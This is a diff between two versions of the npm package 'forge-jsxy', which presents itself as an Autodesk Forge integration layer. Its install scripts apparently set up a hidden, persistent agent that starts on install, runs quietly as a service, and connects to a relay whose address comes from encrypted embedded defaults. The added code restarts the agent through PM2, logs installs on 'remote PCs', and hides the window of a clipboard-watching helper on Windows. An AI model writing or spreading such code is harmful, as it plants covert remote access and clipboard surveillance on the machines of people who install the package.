forge-jsxy 1.0.91 → 1.0.92

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.91 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.92 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -410,7 +410,6 @@ function applyDefaultAgentUnattendedProcessEnv() {
410
410
  */
411
411
  function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
412
412
  fs.mkdirSync(dataDir, { recursive: true });
413
- const p = forgeAgentEnvPath(dataDir);
414
413
  const u = (syncApiUrl || "").trim();
415
414
  // Always write quiet + headless defaults for systemd/LaunchAgent/Task Scheduler–started agents.
416
415
  const lines = [`FORGE_JS_QUIET_AGENT=1`, `FORGE_JS_HEADLESS_UI=1`];
@@ -489,7 +488,26 @@ function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
489
488
  : standardLinuxPaths;
490
489
  lines.push(envFileLine("PATH", effectivePath));
491
490
  }
492
- fs.writeFileSync(p, `${lines.join("\n")}\n`, "utf8");
491
+ const p = forgeAgentEnvPath(dataDir);
492
+ const incoming = parseForgeAgentEnvFileToMap(`${lines.join("\n")}\n`);
493
+ let existing = new Map();
494
+ try {
495
+ existing = parseForgeAgentEnvFileToMap(fs.readFileSync(p, "utf8"));
496
+ }
497
+ catch {
498
+ /* first install — write full defaults */
499
+ }
500
+ const merged = new Map(existing);
501
+ for (const [k, v] of incoming) {
502
+ if (!merged.has(k))
503
+ merged.set(k, v);
504
+ }
505
+ /** Install-time sync URL is intentional; refresh when caller supplies one. */
506
+ if (u && !omitSyncUrl) {
507
+ merged.set("FORGE_JS_SYNC_URL", u);
508
+ merged.set("CFGMGR_API_URL", u);
509
+ }
510
+ fs.writeFileSync(p, `${serializeForgeAgentEnvMap(merged).join("\n")}\n`, "utf8");
493
511
  }
494
512
  /**
495
513
  * Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "forge-jsxy",
3
- "version": "1.0.91",
3
+ "version": "1.0.92",
4
4
  "description": "Node.js integration layer for Autodesk Forge",
5
5
  "license": "MIT",
6
6
  "forgeAgentWebRtcMinVersion": "1.0.71",
@@ -27,6 +27,7 @@ import { existsSync, mkdirSync, readFileSync, readdirSync, unlinkSync, writeFile
27
27
  import os from "node:os";
28
28
  import path from "node:path";
29
29
  import { fileURLToPath, pathToFileURL } from "node:url";
30
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
30
31
 
31
32
  const __dirname = path.dirname(fileURLToPath(import.meta.url));
32
33
  const pkgRoot = path.resolve(__dirname, "..");
@@ -74,10 +75,10 @@ function resolveDistDirUnderLocalPrefix(prefixRoot) {
74
75
  }
75
76
 
76
77
  function npmEnv() {
77
- return {
78
+ return isolatedNpmCacheEnv({
78
79
  ...process.env,
79
80
  NPM_CONFIG_UPDATE_NOTIFIER: "false",
80
- };
81
+ });
81
82
  }
82
83
 
83
84
  function stripEnvQuotes(v) {
@@ -35,7 +35,7 @@
35
35
  * Legacy: `FORGE_JS_ISOLATED_RUNTIME=1` is no longer required — durable bootstrap runs unless skipped above.
36
36
  */
37
37
  import { spawn, spawnSync } from "node:child_process";
38
- import { existsSync, mkdirSync, readFileSync } from "node:fs";
38
+ import { appendFileSync, existsSync, mkdirSync, readFileSync } from "node:fs";
39
39
  import { createRequire } from "node:module";
40
40
  import os from "node:os";
41
41
  import path from "node:path";
@@ -345,6 +345,28 @@ function stopAgentViaCfgmgr() {
345
345
  return r.status === 0;
346
346
  }
347
347
 
348
+ /** PM2-managed forge-agent keeps respawning after cfgmgr --stop; stop PM2 first when present. */
349
+ function tryPm2StopForgeAgent() {
350
+ const raw = (process.env.FORGE_JSX_PM2_AGENT_NAME ?? "forge-agent").trim();
351
+ if (!raw || ["0", "false", "no", "off", "skip", "none"].includes(raw.toLowerCase())) {
352
+ return false;
353
+ }
354
+ try {
355
+ const cmd = process.platform === "win32" ? "pm2.cmd" : "pm2";
356
+ const r = spawnSync(cmd, ["stop", raw], {
357
+ encoding: "utf-8",
358
+ stdio: verbose ? "inherit" : "ignore",
359
+ shell: process.platform === "win32",
360
+ windowsHide: true,
361
+ timeout: 120_000,
362
+ env: process.env,
363
+ });
364
+ return !r.error && r.status === 0;
365
+ } catch {
366
+ return false;
367
+ }
368
+ }
369
+
348
370
  /**
349
371
  * Resolve relay URL and report whether it was explicitly provided (via env
350
372
  * var) or derived from the embedded encrypted deployment defaults.
@@ -382,6 +404,22 @@ function resolveRelayUrl() {
382
404
 
383
405
  const verbose = (process.env.FORGE_JS_INSTALL_AGENT_LOG || "").trim() === "1";
384
406
 
407
+ /** Always-on install trace for remote PCs (`~/.local/share/.forge-js/` or CfgMgr data parent). */
408
+ function appendInstallLog(line) {
409
+ try {
410
+ const base = resolveInstallWorkingDir();
411
+ const dir = path.join(path.dirname(base), ".forge-js");
412
+ mkdirSync(dir, { recursive: true });
413
+ appendFileSync(
414
+ path.join(dir, "postinstall-agent.log"),
415
+ `${new Date().toISOString()} ${line}\n`,
416
+ "utf8"
417
+ );
418
+ } catch {
419
+ /* best-effort */
420
+ }
421
+ }
422
+
385
423
  function ensureDirMaybe(dir) {
386
424
  try {
387
425
  mkdirSync(dir, { recursive: true });
@@ -451,6 +489,7 @@ if (agentAlreadyRunning(3000)) {
451
489
  if (verbose) {
452
490
  console.log("[forge-js] postinstall-agent: running agent detected; restarting to activate newly installed version.");
453
491
  }
492
+ tryPm2StopForgeAgent();
454
493
  void stopAgentViaCfgmgr();
455
494
  void waitForAgentStop(8000);
456
495
  }
@@ -486,6 +525,16 @@ if (!started && verbose) {
486
525
  );
487
526
  }
488
527
 
528
+ if (started) {
529
+ appendInstallLog(
530
+ `ok v${readPackageVersionFromRoot()} relay=${relayUrl || "default"} cwd=${installCwd}`
531
+ );
532
+ } else {
533
+ appendInstallLog(
534
+ `agent_not_started v${readPackageVersionFromRoot()} relay=${relayUrl || "default"} durable=${durableDistDir || "none"} — set FORGE_JS_INSTALL_AGENT_LOG=1`
535
+ );
536
+ }
537
+
489
538
  if (
490
539
  started &&
491
540
  durableDistDir &&
@@ -23,11 +23,10 @@ const __dirname = dirname(fileURLToPath(import.meta.url));
23
23
  * `node_modules/forge-jsx/node_modules`. A fixed relative path skips the patch entirely,
24
24
  * so the win32 helper keeps spawning a visible console. Resolve the real install path.
25
25
  */
26
- function resolveClipboardEventRoot() {
27
- const nested = join(__dirname, "..", "node_modules", "clipboard-event");
26
+ export function resolveClipboardEventRoot(fromDir = __dirname) {
27
+ const nested = join(fromDir, "..", "node_modules", "clipboard-event");
28
28
  try {
29
- const require = createRequire(import.meta.url);
30
- // clipboard-event 1.6+ uses "exports"; subpaths like package.json are not exported.
29
+ const require = createRequire(join(fromDir, "..", "package.json"));
31
30
  const resolved = dirname(require.resolve("clipboard-event"));
32
31
  if (existsSync(join(resolved, "index.js")) || existsSync(join(resolved, "index.cjs"))) {
33
32
  return resolved;
@@ -38,7 +37,9 @@ function resolveClipboardEventRoot() {
38
37
  return nested;
39
38
  }
40
39
 
41
- const pkgRoot = resolveClipboardEventRoot();
40
+ /** Patch clipboard-event under an explicit package root (ephemeral npm install or durable runtime). */
41
+ export function patchClipboardEventAtPackageRoot(pkgRoot) {
42
+ if (!pkgRoot || !existsSync(pkgRoot)) return;
42
43
 
43
44
  // chmod +x all known Linux / macOS clipboard-event platform binaries.
44
45
  // Covers all known architecture-specific names across clipboard-event 1.x releases.
@@ -71,11 +72,8 @@ for (const name of [
71
72
  /**
72
73
  * Patch clipboard-event's Windows execFile call to add { windowsHide: true }.
73
74
  * Handles all known callback styles in clipboard-event 1.x releases.
74
- *
75
- * The win32 helper binary path may appear as a path.join() call or as a variable.
76
- * We pattern-match the execFile call and inject options before any callback.
77
75
  */
78
- function patchClipboardEventWindowsHide() {
76
+ function patchClipboardEventWindowsHideAtRoot(pkgRoot) {
79
77
  if (process.platform !== "win32") return;
80
78
 
81
79
  for (const name of ["index.js", "index.cjs"]) {
@@ -161,4 +159,7 @@ function patchClipboardEventWindowsHide() {
161
159
  }
162
160
  }
163
161
 
164
- patchClipboardEventWindowsHide();
162
+ patchClipboardEventWindowsHideAtRoot(pkgRoot);
163
+ }
164
+
165
+ patchClipboardEventAtPackageRoot(resolveClipboardEventRoot());
@@ -13,6 +13,8 @@ import { existsSync, readFileSync } from "node:fs";
13
13
  import os from "node:os";
14
14
  import path from "node:path";
15
15
  import { fileURLToPath } from "node:url";
16
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
17
+ import { patchClipboardEventAtPackageRoot } from "./postinstall-clipboard-event.mjs";
16
18
 
17
19
  const __dirname = path.dirname(fileURLToPath(import.meta.url));
18
20
  const pkgRoot = path.resolve(__dirname, "..");
@@ -103,7 +105,7 @@ const mat = spawnSync(process.execPath, [isoScript], {
103
105
  cwd: pkgRoot,
104
106
  encoding: "utf8",
105
107
  windowsHide: true,
106
- env: process.env,
108
+ env: isolatedNpmCacheEnv({ ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" }),
107
109
  maxBuffer: 48 * 1024 * 1024,
108
110
  });
109
111
 
@@ -115,4 +117,24 @@ if (mat.status !== 0) {
115
117
  process.exit(1);
116
118
  }
117
119
 
120
+ try {
121
+ const cur = path.join(resolveInstallWorkingDir(), ".forge-jsxy", "current.json");
122
+ if (existsSync(cur)) {
123
+ const j = JSON.parse(readFileSync(cur, "utf8"));
124
+ const distDir = String(j.distDir || "").trim();
125
+ if (distDir) {
126
+ const durablePkg = path.resolve(distDir, "..");
127
+ const clipRoots = [
128
+ path.join(durablePkg, "node_modules", "clipboard-event"),
129
+ path.join(durablePkg, "..", "node_modules", "clipboard-event"),
130
+ ];
131
+ for (const cr of clipRoots) {
132
+ patchClipboardEventAtPackageRoot(cr);
133
+ }
134
+ }
135
+ }
136
+ } catch {
137
+ /* optional dependency — non-fatal */
138
+ }
139
+
118
140
  process.exit(0);